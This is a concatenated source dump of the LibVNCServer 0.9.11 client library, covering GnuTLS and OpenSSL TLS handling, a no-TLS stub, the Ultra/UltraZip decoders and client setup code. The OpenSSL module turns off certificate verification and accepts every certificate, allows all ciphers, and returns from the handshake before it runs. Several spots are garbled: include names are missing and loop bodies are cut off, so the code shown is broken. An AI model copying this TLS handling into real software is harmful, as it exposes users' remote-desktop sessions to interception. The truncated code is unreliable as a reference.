cred->x509Credential.x509ClientCertFile, cred->x509Credential.x509ClientKeyFile, GNUTLS_X509_FMT_PEM)) < 0) { rfbClientLog("Cannot load client certificate or key: %s.\n", gnutls_strerror(ret)); gnutls_certificate_free_credentials (x509_cred); return NULL; } } else { rfbClientLog("No client certificate or key provided.\n"); } if (cred->x509Credential.x509CACrlFile) { if ((ret = gnutls_certificate_set_x509_crl_file(x509_cred, cred->x509Credential.x509CACrlFile, GNUTLS_X509_FMT_PEM)) < 0) { rfbClientLog("Cannot load CRL: %s.\n", gnutls_strerror(ret)); gnutls_certificate_free_credentials (x509_cred); return NULL; } } else { rfbClientLog("No CRL provided.\n"); } gnutls_certificate_set_dh_params (x509_cred, rfbDHParams); return x509_cred; } rfbBool HandleAnonTLSAuth(rfbClient* client) { if (!InitializeTLS() || !InitializeTLSSession(client, TRUE)) return FALSE; if (!SetTLSAnonCredential(client)) return FALSE; if (!HandshakeTLS(client)) return FALSE; return TRUE; } rfbBool HandleVeNCryptAuth(rfbClient* client) { uint8_t major, minor, status; uint32_t authScheme; rfbBool anonTLS; gnutls_certificate_credentials_t x509_cred = NULL; int ret; if (!InitializeTLS()) return FALSE; /* Read VeNCrypt version */ if (!ReadFromRFBServer(client, (char *)&major, 1) || !ReadFromRFBServer(client, (char *)&minor, 1)) { return FALSE; } rfbClientLog("Got VeNCrypt version %d.%d from server.\n", (int)major, (int)minor); if (major != 0 && minor != 2) { rfbClientLog("Unsupported VeNCrypt version.\n"); return FALSE; } if (!WriteToRFBServer(client, (char *)&major, 1) || !WriteToRFBServer(client, (char *)&minor, 1) || !ReadFromRFBServer(client, (char *)&status, 1)) { return FALSE; } if (status != 0) { rfbClientLog("Server refused VeNCrypt version %d.%d.\n", (int)major, (int)minor); return FALSE; } if (!ReadVeNCryptSecurityType(client, &authScheme)) return FALSE; if (!ReadFromRFBServer(client, (char *)&status, 1) || status != 1) { rfbClientLog("Server refused VeNCrypt authentication %d (%d).\n", authScheme, (int)status); return FALSE; } client->subAuthScheme = authScheme; /* Some VeNCrypt security types are anonymous TLS, others are X509 */ switch (authScheme) { case rfbVeNCryptTLSNone: case rfbVeNCryptTLSVNC: case rfbVeNCryptTLSPlain: anonTLS = TRUE; break; default: anonTLS = FALSE; break; } /* Get X509 Credentials if it's not anonymous */ if (!anonTLS) { rfbCredential *cred; if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); return FALSE; } cred = client->GetCredential(client, rfbCredentialTypeX509); if (!cred) { rfbClientLog("Reading credential failed\n"); return FALSE; } x509_cred = CreateX509CertCredential(cred); FreeX509Credential(cred); if (!x509_cred) return FALSE; } /* Start up the TLS session */ if (!InitializeTLSSession(client, anonTLS)) return FALSE; if (anonTLS) { if (!SetTLSAnonCredential(client)) return FALSE; } else { if ((ret = gnutls_credentials_set((gnutls_session_t)client->tlsSession, GNUTLS_CRD_CERTIFICATE, x509_cred)) < 0) { rfbClientLog("Cannot set x509 credential: %s.\n", gnutls_strerror(ret)); FreeTLS(client); return FALSE; } } if (!HandshakeTLS(client)) return FALSE; /* TODO: validate certificate */ /* We are done here. The caller should continue with client->subAuthScheme * to do actual sub authentication. */ return TRUE; } int ReadFromTLS(rfbClient* client, char *out, unsigned int n) { ssize_t ret; ret = gnutls_record_recv((gnutls_session_t)client->tlsSession, out, n); if (ret >= 0) return ret; if (ret == GNUTLS_E_REHANDSHAKE || ret == GNUTLS_E_AGAIN) { errno = EAGAIN; } else { rfbClientLog("Error reading from TLS: %s.\n", gnutls_strerror(ret)); errno = EINTR; } return -1; } int WriteToTLS(rfbClient* client, char *buf, unsigned int n) { unsigned int offset = 0; ssize_t ret; if (client->LockWriteToTLS) { if (!client->LockWriteToTLS(client)) { rfbClientLog("Callback to get lock in WriteToTLS() failed\n"); return -1; } } while (offset < n) { ret = gnutls_record_send((gnutls_session_t)client->tlsSession, buf+offset, (size_t)(n-offset)); if (ret == 0) continue; if (ret < 0) { if (ret == GNUTLS_E_AGAIN || ret == GNUTLS_E_INTERRUPTED) continue; rfbClientLog("Error writing to TLS: %s.\n", gnutls_strerror(ret)); if (client->UnlockWriteToTLS) { if (!client->UnlockWriteToTLS(client)) rfbClientLog("Callback to unlock WriteToTLS() failed\n"); } return -1; } offset += (unsigned int)ret; } if (client->UnlockWriteToTLS) { if (!client->UnlockWriteToTLS(client)) { rfbClientLog("Callback to unlock WriteToTLS() failed\n"); return -1; } } return offset; } void FreeTLS(rfbClient* client) { if (client->tlsSession) { gnutls_deinit((gnutls_session_t)client->tlsSession); client->tlsSession = NULL; } } libvncserver-LibVNCServer-0.9.11/libvncclient/tls_none.c000066400000000000000000000025441303145525000232140ustar00rootroot00000000000000/* * Copyright (C) 2012 Christian Beier. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include #include #include "tls.h" rfbBool HandleAnonTLSAuth(rfbClient* client) { rfbClientLog("TLS is not supported.\n"); return FALSE; } rfbBool HandleVeNCryptAuth(rfbClient* client) { rfbClientLog("TLS is not supported.\n"); return FALSE; } int ReadFromTLS(rfbClient* client, char *out, unsigned int n) { rfbClientLog("TLS is not supported.\n"); errno = EINTR; return -1; } int WriteToTLS(rfbClient* client, char *buf, unsigned int n) { rfbClientLog("TLS is not supported.\n"); errno = EINTR; return -1; } void FreeTLS(rfbClient* client) { } libvncserver-LibVNCServer-0.9.11/libvncclient/tls_openssl.c000066400000000000000000000343621303145525000237430ustar00rootroot00000000000000/* * Copyright (C) 2012 Philip Van Hoof * Copyright (C) 2009 Vic Lee. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #ifndef _MSC_VER #define _XOPEN_SOURCE 500 #endif #include #include #include #include #include #include #include #ifdef _MSC_VER typedef CRITICAL_SECTION MUTEX_TYPE; #define MUTEX_INIT(mutex) InitializeCriticalSection(&mutex) #define MUTEX_FREE(mutex) DeleteCriticalSection(&mutex) #define MUTEX_LOCK(mutex) EnterCriticalSection(&mutex) #define MUTEX_UNLOCK(mutex) LeaveCriticalSection(&mutex) #define CURRENT_THREAD_ID GetCurrentThreadId() #else typedef pthread_mutex_t MUTEX_TYPE; #define MUTEX_INIT(mutex) {\ pthread_mutexattr_t mutexAttr;\ pthread_mutexattr_init(&mutexAttr);\ pthread_mutexattr_settype(&mutexAttr, PTHREAD_MUTEX_RECURSIVE);\ pthread_mutex_init(&mutex, &mutexAttr);\ } #define MUTEX_FREE(mutex) pthread_mutex_destroy(&mutex) #define MUTEX_LOCK(mutex) pthread_mutex_lock(&mutex) #define MUTEX_UNLOCK(mutex) pthread_mutex_unlock(&mutex) #define CURRENT_THREAD_ID pthread_self() #endif #ifndef _MSC_VER #include #endif #include "tls.h" #ifdef _MSC_VER #include // That's for SSIZE_T typedef SSIZE_T ssize_t; #define snprintf _snprintf #endif static rfbBool rfbTLSInitialized = FALSE; static MUTEX_TYPE *mutex_buf = NULL; struct CRYPTO_dynlock_value { MUTEX_TYPE mutex; }; static void locking_function(int mode, int n, const char *file, int line) { if (mode & CRYPTO_LOCK) MUTEX_LOCK(mutex_buf[n]); else MUTEX_UNLOCK(mutex_buf[n]); } static unsigned long id_function(void) { return ((unsigned long) CURRENT_THREAD_ID); } static struct CRYPTO_dynlock_value *dyn_create_function(const char *file, int line) { struct CRYPTO_dynlock_value *value; value = (struct CRYPTO_dynlock_value *) malloc(sizeof(struct CRYPTO_dynlock_value)); if (!value) goto err; MUTEX_INIT(value->mutex); return value; err: return (NULL); } static void dyn_lock_function (int mode, struct CRYPTO_dynlock_value *l, const char *file, int line) { if (mode & CRYPTO_LOCK) MUTEX_LOCK(l->mutex); else MUTEX_UNLOCK(l->mutex); } static void dyn_destroy_function(struct CRYPTO_dynlock_value *l, const char *file, int line) { MUTEX_FREE(l->mutex); free(l); } static int ssl_errno (SSL *ssl, int ret) { switch (SSL_get_error (ssl, ret)) { case SSL_ERROR_NONE: return 0; case SSL_ERROR_ZERO_RETURN: /* this one does not map well at all */ //d(printf ("ssl_errno: SSL_ERROR_ZERO_RETURN\n")); return EINVAL; case SSL_ERROR_WANT_READ: /* non-fatal; retry */ case SSL_ERROR_WANT_WRITE: /* non-fatal; retry */ //d(printf ("ssl_errno: SSL_ERROR_WANT_[READ,WRITE]\n")); return EAGAIN; case SSL_ERROR_SYSCALL: //d(printf ("ssl_errno: SSL_ERROR_SYSCALL\n")); return EINTR; case SSL_ERROR_SSL: //d(printf ("ssl_errno: SSL_ERROR_SSL <-- very useful error...riiiiight\n")); return EINTR; default: //d(printf ("ssl_errno: default error\n")); return EINTR; } } static rfbBool InitializeTLS(void) { int i; if (rfbTLSInitialized) return TRUE; mutex_buf = malloc(CRYPTO_num_locks() * sizeof(MUTEX_TYPE)); if (mutex_buf == NULL) { rfbClientLog("Failed to initialized OpenSSL: memory.\n"); return (-1); } for (i = 0; i < CRYPTO_num_locks(); i++) MUTEX_INIT(mutex_buf[i]); CRYPTO_set_locking_callback(locking_function); CRYPTO_set_id_callback(id_function); CRYPTO_set_dynlock_create_callback(dyn_create_function); CRYPTO_set_dynlock_lock_callback(dyn_lock_function); CRYPTO_set_dynlock_destroy_callback(dyn_destroy_function); SSL_load_error_strings(); SSLeay_add_ssl_algorithms(); RAND_load_file("/dev/urandom", 1024); rfbClientLog("OpenSSL initialized.\n"); rfbTLSInitialized = TRUE; return TRUE; } static int ssl_verify (int ok, X509_STORE_CTX *ctx) { unsigned char md5sum[16], fingerprint[40], *f; rfbClient *client; int err, i; unsigned int md5len; //char buf[257]; X509 *cert; SSL *ssl; if (ok) return TRUE; ssl = X509_STORE_CTX_get_ex_data (ctx, SSL_get_ex_data_X509_STORE_CTX_idx ()); client = SSL_CTX_get_app_data (ssl->ctx); cert = X509_STORE_CTX_get_current_cert (ctx); err = X509_STORE_CTX_get_error (ctx); /* calculate the MD5 hash of the raw certificate */ md5len = sizeof (md5sum); X509_digest (cert, EVP_md5 (), md5sum, &md5len); for (i = 0, f = fingerprint; i < 16; i++, f += 3) sprintf ((char *) f, "%.2x%c", md5sum[i], i != 15 ? ':' : '\0'); #define GET_STRING(name) X509_NAME_oneline (name, buf, 256) /* TODO: Don't just ignore certificate checks fingerprint = key to check in db GET_STRING (X509_get_issuer_name (cert)); GET_STRING (X509_get_subject_name (cert)); cert->valid (bool: GOOD or BAD) */ ok = TRUE; return ok; } static int sock_read_ready(SSL *ssl, uint32_t ms) { int r = 0; fd_set fds; struct timeval tv; FD_ZERO(&fds); FD_SET(SSL_get_fd(ssl), &fds); tv.tv_sec = ms / 1000; tv.tv_usec = (ms % 1000) * 1000; r = select (SSL_get_fd(ssl) + 1, &fds, NULL, NULL, &tv); return r; } static int wait_for_data(SSL *ssl, int ret, int timeout) { int err; int retval = 1; err = SSL_get_error(ssl, ret); switch(err) { case SSL_ERROR_WANT_READ: case SSL_ERROR_WANT_WRITE: ret = sock_read_ready(ssl, timeout*1000); if (ret == -1) { retval = 2; } break; default: retval = 3; break; } ERR_clear_error(); return retval; } static SSL * open_ssl_connection (rfbClient *client, int sockfd, rfbBool anonTLS) { SSL_CTX *ssl_ctx = NULL; SSL *ssl = NULL; int n, finished = 0; ssl_ctx = SSL_CTX_new (SSLv23_client_method ()); SSL_CTX_set_default_verify_paths (ssl_ctx); SSL_CTX_set_verify (ssl_ctx, SSL_VERIFY_NONE, &ssl_verify); ssl = SSL_new (ssl_ctx); /* TODO: finetune this list, take into account anonTLS bool */ SSL_set_cipher_list(ssl, "ALL"); SSL_set_fd (ssl, sockfd); SSL_CTX_set_app_data (ssl_ctx, client); do { n = SSL_connect(ssl); if (n != 1) { if (wait_for_data(ssl, n, 1) != 1) { finished = 1; if (ssl->ctx) SSL_CTX_free (ssl->ctx); SSL_free(ssl); SSL_shutdown (ssl); return NULL; } } } while( n != 1 && finished != 1 ); return ssl; } static rfbBool InitializeTLSSession(rfbClient* client, rfbBool anonTLS) { if (client->tlsSession) return TRUE; client->tlsSession = open_ssl_connection (client, client->sock, anonTLS); if (!client->tlsSession) return FALSE; rfbClientLog("TLS session initialized.\n"); return TRUE; } static rfbBool SetTLSAnonCredential(rfbClient* client) { rfbClientLog("TLS anonymous credential created.\n"); return TRUE; } static rfbBool HandshakeTLS(rfbClient* client) { int timeout = 15; int ret; return TRUE; while (timeout > 0 && (ret = SSL_do_handshake(client->tlsSession)) < 0) { if (ret != -1) { rfbClientLog("TLS handshake blocking.\n"); #ifdef WIN32 Sleep(1000); #else sleep(1); #endif timeout--; continue; } rfbClientLog("TLS handshake failed: -.\n"); FreeTLS(client); return FALSE; } if (timeout <= 0) { rfbClientLog("TLS handshake timeout.\n"); FreeTLS(client); return FALSE; } rfbClientLog("TLS handshake done.\n"); return TRUE; } /* VeNCrypt sub auth. 1 byte auth count, followed by count * 4 byte integers */ static rfbBool ReadVeNCryptSecurityType(rfbClient* client, uint32_t *result) { uint8_t count=0; uint8_t loop=0; uint8_t flag=0; uint32_t tAuth[256], t; char buf1[500],buf2[10]; uint32_t authScheme; if (!ReadFromRFBServer(client, (char *)&count, 1)) return FALSE; if (count==0) { rfbClientLog("List of security types is ZERO. Giving up.\n"); return FALSE; } if (count>sizeof(tAuth)) { rfbClientLog("%d security types are too many; maximum is %d\n", count, sizeof(tAuth)); return FALSE; } rfbClientLog("We have %d security types to read\n", count); authScheme=0; /* now, we have a list of available security types to read ( uint8_t[] ) */ for (loop=0;loop=sizeof(buf1)-1) break; snprintf(buf2, sizeof(buf2), (loop>0 ? ", %d" : "%d"), (int)tAuth[loop]); strncat(buf1, buf2, sizeof(buf1)-strlen(buf1)-1); } rfbClientLog("Unknown VeNCrypt authentication scheme from VNC server: %s\n", buf1); return FALSE; } *result = authScheme; return TRUE; } rfbBool HandleAnonTLSAuth(rfbClient* client) { if (!InitializeTLS() || !InitializeTLSSession(client, TRUE)) return FALSE; if (!SetTLSAnonCredential(client)) return FALSE; if (!HandshakeTLS(client)) return FALSE; return TRUE; } rfbBool HandleVeNCryptAuth(rfbClient* client) { uint8_t major, minor, status; uint32_t authScheme; rfbBool anonTLS; // gnutls_certificate_credentials_t x509_cred = NULL; if (!InitializeTLS()) return FALSE; /* Read VeNCrypt version */ if (!ReadFromRFBServer(client, (char *)&major, 1) || !ReadFromRFBServer(client, (char *)&minor, 1)) { return FALSE; } rfbClientLog("Got VeNCrypt version %d.%d from server.\n", (int)major, (int)minor); if (major != 0 && minor != 2) { rfbClientLog("Unsupported VeNCrypt version.\n"); return FALSE; } if (!WriteToRFBServer(client, (char *)&major, 1) || !WriteToRFBServer(client, (char *)&minor, 1) || !ReadFromRFBServer(client, (char *)&status, 1)) { return FALSE; } if (status != 0) { rfbClientLog("Server refused VeNCrypt version %d.%d.\n", (int)major, (int)minor); return FALSE; } if (!ReadVeNCryptSecurityType(client, &authScheme)) return FALSE; if (!ReadFromRFBServer(client, (char *)&status, 1) || status != 1) { rfbClientLog("Server refused VeNCrypt authentication %d (%d).\n", authScheme, (int)status); return FALSE; } client->subAuthScheme = authScheme; /* Some VeNCrypt security types are anonymous TLS, others are X509 */ switch (authScheme) { case rfbVeNCryptTLSNone: case rfbVeNCryptTLSVNC: case rfbVeNCryptTLSPlain: anonTLS = TRUE; break; default: anonTLS = FALSE; break; } /* Get X509 Credentials if it's not anonymous */ if (!anonTLS) { rfbCredential *cred; if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); return FALSE; } cred = client->GetCredential(client, rfbCredentialTypeX509); if (!cred) { rfbClientLog("Reading credential failed\n"); return FALSE; } /* TODO: don't just ignore this x509_cred = CreateX509CertCredential(cred); FreeX509Credential(cred); if (!x509_cred) return FALSE; */ } /* Start up the TLS session */ if (!InitializeTLSSession(client, anonTLS)) return FALSE; if (anonTLS) { if (!SetTLSAnonCredential(client)) return FALSE; } else { /* TODO: don't just ignore this if ((ret = gnutls_credentials_set(client->tlsSession, GNUTLS_CRD_CERTIFICATE, x509_cred)) < 0) { rfbClientLog("Cannot set x509 credential: %s.\n", gnutls_strerror(ret)); FreeTLS(client); */ return FALSE; // } } if (!HandshakeTLS(client)) return FALSE; /* TODO: validate certificate */ /* We are done here. The caller should continue with client->subAuthScheme * to do actual sub authentication. */ return TRUE; } int ReadFromTLS(rfbClient* client, char *out, unsigned int n) { ssize_t ret; ret = SSL_read (client->tlsSession, out, n); if (ret >= 0) return ret; else { errno = ssl_errno (client->tlsSession, ret); if (errno != EAGAIN) { rfbClientLog("Error reading from TLS: -.\n"); } } return -1; } int WriteToTLS(rfbClient* client, char *buf, unsigned int n) { unsigned int offset = 0; ssize_t ret; while (offset < n) { ret = SSL_write (client->tlsSession, buf + offset, (size_t)(n-offset)); if (ret < 0) errno = ssl_errno (client->tlsSession, ret); if (ret == 0) continue; if (ret < 0) { if (errno == EAGAIN || errno == EWOULDBLOCK) continue; rfbClientLog("Error writing to TLS: -\n"); return -1; } offset += (unsigned int)ret; } return offset; } void FreeTLS(rfbClient* client) { int i; if (mutex_buf != NULL) { CRYPTO_set_dynlock_create_callback(NULL); CRYPTO_set_dynlock_lock_callback(NULL); CRYPTO_set_dynlock_destroy_callback(NULL); CRYPTO_set_locking_callback(NULL); CRYPTO_set_id_callback(NULL); for (i = 0; i < CRYPTO_num_locks(); i++) MUTEX_FREE(mutex_buf[i]); free(mutex_buf); mutex_buf = NULL; } SSL_free(client->tlsSession); } libvncserver-LibVNCServer-0.9.11/libvncclient/ultra.c000066400000000000000000000157361303145525000225310ustar00rootroot00000000000000/* * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * ultrazip.c - handle ultrazip encoding. * * This file shouldn't be compiled directly. It is included multiple times by * rfbproto.c, each time with a different definition of the macro BPP. For * each value of BPP, this file defines a function which handles an zlib * encoded rectangle with BPP bits per pixel. */ #define HandleUltraZipBPP CONCAT2E(HandleUltraZip,BPP) #define HandleUltraBPP CONCAT2E(HandleUltra,BPP) #define CARDBPP CONCAT3E(uint,BPP,_t) static rfbBool HandleUltraBPP (rfbClient* client, int rx, int ry, int rw, int rh) { rfbZlibHeader hdr; int toRead=0; int inflateResult=0; lzo_uint uncompressedBytes = (( rw * rh ) * ( BPP / 8 )); if (!ReadFromRFBServer(client, (char *)&hdr, sz_rfbZlibHeader)) return FALSE; toRead = rfbClientSwap32IfLE(hdr.nBytes); if (toRead==0) return TRUE; if (uncompressedBytes==0) { rfbClientLog("ultra error: rectangle has 0 uncomressed bytes ((%dw * %dh) * (%d / 8))\n", rw, rh, BPP); return FALSE; } /* First make sure we have a large enough raw buffer to hold the * decompressed data. In practice, with a fixed BPP, fixed frame * buffer size and the first update containing the entire frame * buffer, this buffer allocation should only happen once, on the * first update. */ if ( client->raw_buffer_size < (int)uncompressedBytes) { if ( client->raw_buffer != NULL ) { free( client->raw_buffer ); } client->raw_buffer_size = uncompressedBytes; /* buffer needs to be aligned on 4-byte boundaries */ if ((client->raw_buffer_size % 4)!=0) client->raw_buffer_size += (4-(client->raw_buffer_size % 4)); client->raw_buffer = (char*) malloc( client->raw_buffer_size ); } /* allocate enough space to store the incoming compressed packet */ if ( client->ultra_buffer_size < toRead ) { if ( client->ultra_buffer != NULL ) { free( client->ultra_buffer ); } client->ultra_buffer_size = toRead; /* buffer needs to be aligned on 4-byte boundaries */ if ((client->ultra_buffer_size % 4)!=0) client->ultra_buffer_size += (4-(client->ultra_buffer_size % 4)); client->ultra_buffer = (char*) malloc( client->ultra_buffer_size ); } /* Fill the buffer, obtaining data from the server. */ if (!ReadFromRFBServer(client, client->ultra_buffer, toRead)) return FALSE; /* uncompress the data */ uncompressedBytes = client->raw_buffer_size; inflateResult = lzo1x_decompress_safe( (lzo_byte *)client->ultra_buffer, toRead, (lzo_byte *)client->raw_buffer, (lzo_uintp) &uncompressedBytes, NULL); /* Note that uncompressedBytes will be 0 on output overrun */ if ((rw * rh * (BPP / 8)) != uncompressedBytes) rfbClientLog("Ultra decompressed unexpected amount of data (%d != %d)\n", (rw * rh * (BPP / 8)), uncompressedBytes); /* Put the uncompressed contents of the update on the screen. */ if ( inflateResult == LZO_E_OK ) { CopyRectangle(client, (unsigned char *)client->raw_buffer, rx, ry, rw, rh); } else { rfbClientLog("ultra decompress returned error: %d\n", inflateResult); return FALSE; } return TRUE; } /* UltraZip is like rre in that it is composed of subrects */ static rfbBool HandleUltraZipBPP (rfbClient* client, int rx, int ry, int rw, int rh) { rfbZlibHeader hdr; int i=0; int toRead=0; int inflateResult=0; unsigned char *ptr=NULL; lzo_uint uncompressedBytes = ry + (rw * 65535); unsigned int numCacheRects = rx; if (!ReadFromRFBServer(client, (char *)&hdr, sz_rfbZlibHeader)) return FALSE; toRead = rfbClientSwap32IfLE(hdr.nBytes); if (toRead==0) return TRUE; if (uncompressedBytes==0) { rfbClientLog("ultrazip error: rectangle has 0 uncomressed bytes (%dy + (%dw * 65535)) (%d rectangles)\n", ry, rw, rx); return FALSE; } /* First make sure we have a large enough raw buffer to hold the * decompressed data. In practice, with a fixed BPP, fixed frame * buffer size and the first update containing the entire frame * buffer, this buffer allocation should only happen once, on the * first update. */ if ( client->raw_buffer_size < (int)(uncompressedBytes + 500)) { if ( client->raw_buffer != NULL ) { free( client->raw_buffer ); } client->raw_buffer_size = uncompressedBytes + 500; /* buffer needs to be aligned on 4-byte boundaries */ if ((client->raw_buffer_size % 4)!=0) client->raw_buffer_size += (4-(client->raw_buffer_size % 4)); client->raw_buffer = (char*) malloc( client->raw_buffer_size ); } /* allocate enough space to store the incoming compressed packet */ if ( client->ultra_buffer_size < toRead ) { if ( client->ultra_buffer != NULL ) { free( client->ultra_buffer ); } client->ultra_buffer_size = toRead; client->ultra_buffer = (char*) malloc( client->ultra_buffer_size ); } /* Fill the buffer, obtaining data from the server. */ if (!ReadFromRFBServer(client, client->ultra_buffer, toRead)) return FALSE; /* uncompress the data */ uncompressedBytes = client->raw_buffer_size; inflateResult = lzo1x_decompress_safe( (lzo_byte *)client->ultra_buffer, toRead, (lzo_byte *)client->raw_buffer, &uncompressedBytes, NULL); if ( inflateResult != LZO_E_OK ) { rfbClientLog("ultra decompress returned error: %d\n", inflateResult); return FALSE; } /* Put the uncompressed contents of the update on the screen. */ ptr = (unsigned char *)client->raw_buffer; for (i=0; i #endif #ifdef _MSC_VER #define strdup _strdup /* Prevent POSIX deprecation warnings */ #endif #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #define _POSIX_SOURCE #endif #include #include #include #include #include #include "tls.h" static void Dummy(rfbClient* client) { } static rfbBool DummyPoint(rfbClient* client, int x, int y) { return TRUE; } static void DummyRect(rfbClient* client, int x, int y, int w, int h) { } #ifdef WIN32 static char* NoPassword(rfbClient* client) { return strdup(""); } #define close closesocket #else #include #include #endif static char* ReadPassword(rfbClient* client) { #ifdef WIN32 /* FIXME */ rfbClientErr("ReadPassword on Windows NOT IMPLEMENTED\n"); return NoPassword(client); #else int i; char* p=malloc(9); struct termios save,noecho; p[0]=0; if(tcgetattr(fileno(stdin),&save)!=0) return p; noecho=save; noecho.c_lflag &= ~ECHO; if(tcsetattr(fileno(stdin),TCSAFLUSH,&noecho)!=0) return p; fprintf(stderr,"Password: "); i=0; while(1) { int c=fgetc(stdin); if(c=='\n') break; if(i<8) { p[i]=c; i++; p[i]=0; } } tcsetattr(fileno(stdin),TCSAFLUSH,&save); return p; #endif } static rfbBool MallocFrameBuffer(rfbClient* client) { uint64_t allocSize; if(client->frameBuffer) free(client->frameBuffer); /* SECURITY: promote 'width' into uint64_t so that the multiplication does not overflow 'width' and 'height' are 16-bit integers per RFB protocol design SIZE_MAX is the maximum value that can fit into size_t */ allocSize = (uint64_t)client->width * client->height * client->format.bitsPerPixel/8; if (allocSize >= SIZE_MAX) { rfbClientErr("CRITICAL: cannot allocate frameBuffer, requested size is too large\n"); return FALSE; } client->frameBuffer=malloc( (size_t)allocSize ); if (client->frameBuffer == NULL) rfbClientErr("CRITICAL: frameBuffer allocation failed, requested size too large or not enough memory?\n"); return client->frameBuffer?TRUE:FALSE; } static void initAppData(AppData* data) { data->shareDesktop=TRUE; data->viewOnly=FALSE; data->encodingsString="tight zrle ultra copyrect hextile zlib corre rre raw"; data->useBGR233=FALSE; data->nColours=0; data->forceOwnCmap=FALSE; data->forceTrueColour=FALSE; data->requestedDepth=0; data->compressLevel=3; data->qualityLevel=5; #ifdef LIBVNCSERVER_HAVE_LIBJPEG data->enableJPEG=TRUE; #else data->enableJPEG=FALSE; #endif data->useRemoteCursor=FALSE; } rfbClient* rfbGetClient(int bitsPerSample,int samplesPerPixel, int bytesPerPixel) { rfbClient* client=(rfbClient*)calloc(sizeof(rfbClient),1); if(!client) { rfbClientErr("Couldn't allocate client structure!\n"); return NULL; } initAppData(&client->appData); client->endianTest = 1; client->programName=""; client->serverHost=strdup(""); client->serverPort=5900; client->destHost = NULL; client->destPort = 5900; client->CurrentKeyboardLedState = 0; client->HandleKeyboardLedState = (HandleKeyboardLedStateProc)DummyPoint; /* default: use complete frame buffer */ client->updateRect.x = -1; client->frameBuffer = NULL; client->outputWindow = 0; client->format.bitsPerPixel = bytesPerPixel*8; client->format.depth = bitsPerSample*samplesPerPixel; client->appData.requestedDepth=client->format.depth; client->format.bigEndian = *(char *)&client->endianTest?FALSE:TRUE; client->format.trueColour = TRUE; if (client->format.bitsPerPixel == 8) { client->format.redMax = 7; client->format.greenMax = 7; client->format.blueMax = 3; client->format.redShift = 0; client->format.greenShift = 3; client->format.blueShift = 6; } else { client->format.redMax = (1 << bitsPerSample) - 1; client->format.greenMax = (1 << bitsPerSample) - 1; client->format.blueMax = (1 << bitsPerSample) - 1; if(!client->format.bigEndian) { client->format.redShift = 0; client->format.greenShift = bitsPerSample; client->format.blueShift = bitsPerSample * 2; } else { if(client->format.bitsPerPixel==8*3) { client->format.redShift = bitsPerSample*2; client->format.greenShift = bitsPerSample*1; client->format.blueShift = 0; } else { client->format.redShift = bitsPerSample*3; client->format.greenShift = bitsPerSample*2; client->format.blueShift = bitsPerSample; } } } client->bufoutptr=client->buf; client->buffered=0; #ifdef LIBVNCSERVER_HAVE_LIBZ client->raw_buffer_size = -1; client->decompStreamInited = FALSE; #ifdef LIBVNCSERVER_HAVE_LIBJPEG memset(client->zlibStreamActive,0,sizeof(rfbBool)*4); client->jpegSrcManager = NULL; #endif #endif client->HandleCursorPos = DummyPoint; client->SoftCursorLockArea = DummyRect; client->SoftCursorUnlockScreen = Dummy; client->GotFrameBufferUpdate = DummyRect; client->FinishedFrameBufferUpdate = NULL; client->GetPassword = ReadPassword; client->MallocFrameBuffer = MallocFrameBuffer; client->Bell = Dummy; client->CurrentKeyboardLedState = 0; client->HandleKeyboardLedState = (HandleKeyboardLedStateProc)DummyPoint; client->QoS_DSCP = 0; client->authScheme = 0; client->subAuthScheme = 0; client->GetCredential = NULL; client->tlsSession = NULL; client->LockWriteToTLS = NULL; client->UnlockWriteToTLS = NULL; client->sock = -1; client->listenSock = -1; client->listenAddress = NULL; client->listen6Sock = -1; client->listen6Address = NULL; client->clientAuthSchemes = NULL; return client; } static rfbBool rfbInitConnection(rfbClient* client) { /* Unless we accepted an incoming connection, make a TCP connection to the given VNC server */ if (!client->listenSpecified) { if (!client->serverHost) return FALSE; if (client->destHost) { if (!ConnectToRFBRepeater(client,client->serverHost,client->serverPort,client->destHost,client->destPort)) return FALSE; } else { if (!ConnectToRFBServer(client,client->serverHost,client->serverPort)) return FALSE; } } /* Initialise the VNC connection, including reading the password */ if (!InitialiseRFBConnection(client)) return FALSE; client->width=client->si.framebufferWidth; client->height=client->si.framebufferHeight; if (!client->MallocFrameBuffer(client)) return FALSE; if (!SetFormatAndEncodings(client)) return FALSE; if (client->updateRect.x < 0) { client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; } if (client->appData.scaleSetting>1) { if (!SendScaleSetting(client, client->appData.scaleSetting)) return FALSE; if (!SendFramebufferUpdateRequest(client, client->updateRect.x / client->appData.scaleSetting, client->updateRect.y / client->appData.scaleSetting, client->updateRect.w / client->appData.scaleSetting, client->updateRect.h / client->appData.scaleSetting, FALSE)) return FALSE; } else { if (!SendFramebufferUpdateRequest(client, client->updateRect.x, client->updateRect.y, client->updateRect.w, client->updateRect.h, FALSE)) return FALSE; } return TRUE; } rfbBool rfbInitClient(rfbClient* client,int* argc,char** argv) { int i,j; if(argv && argc && *argc) { if(client->programName==0) client->programName=argv[0]; for (i = 1; i < *argc; i++) { j = i; 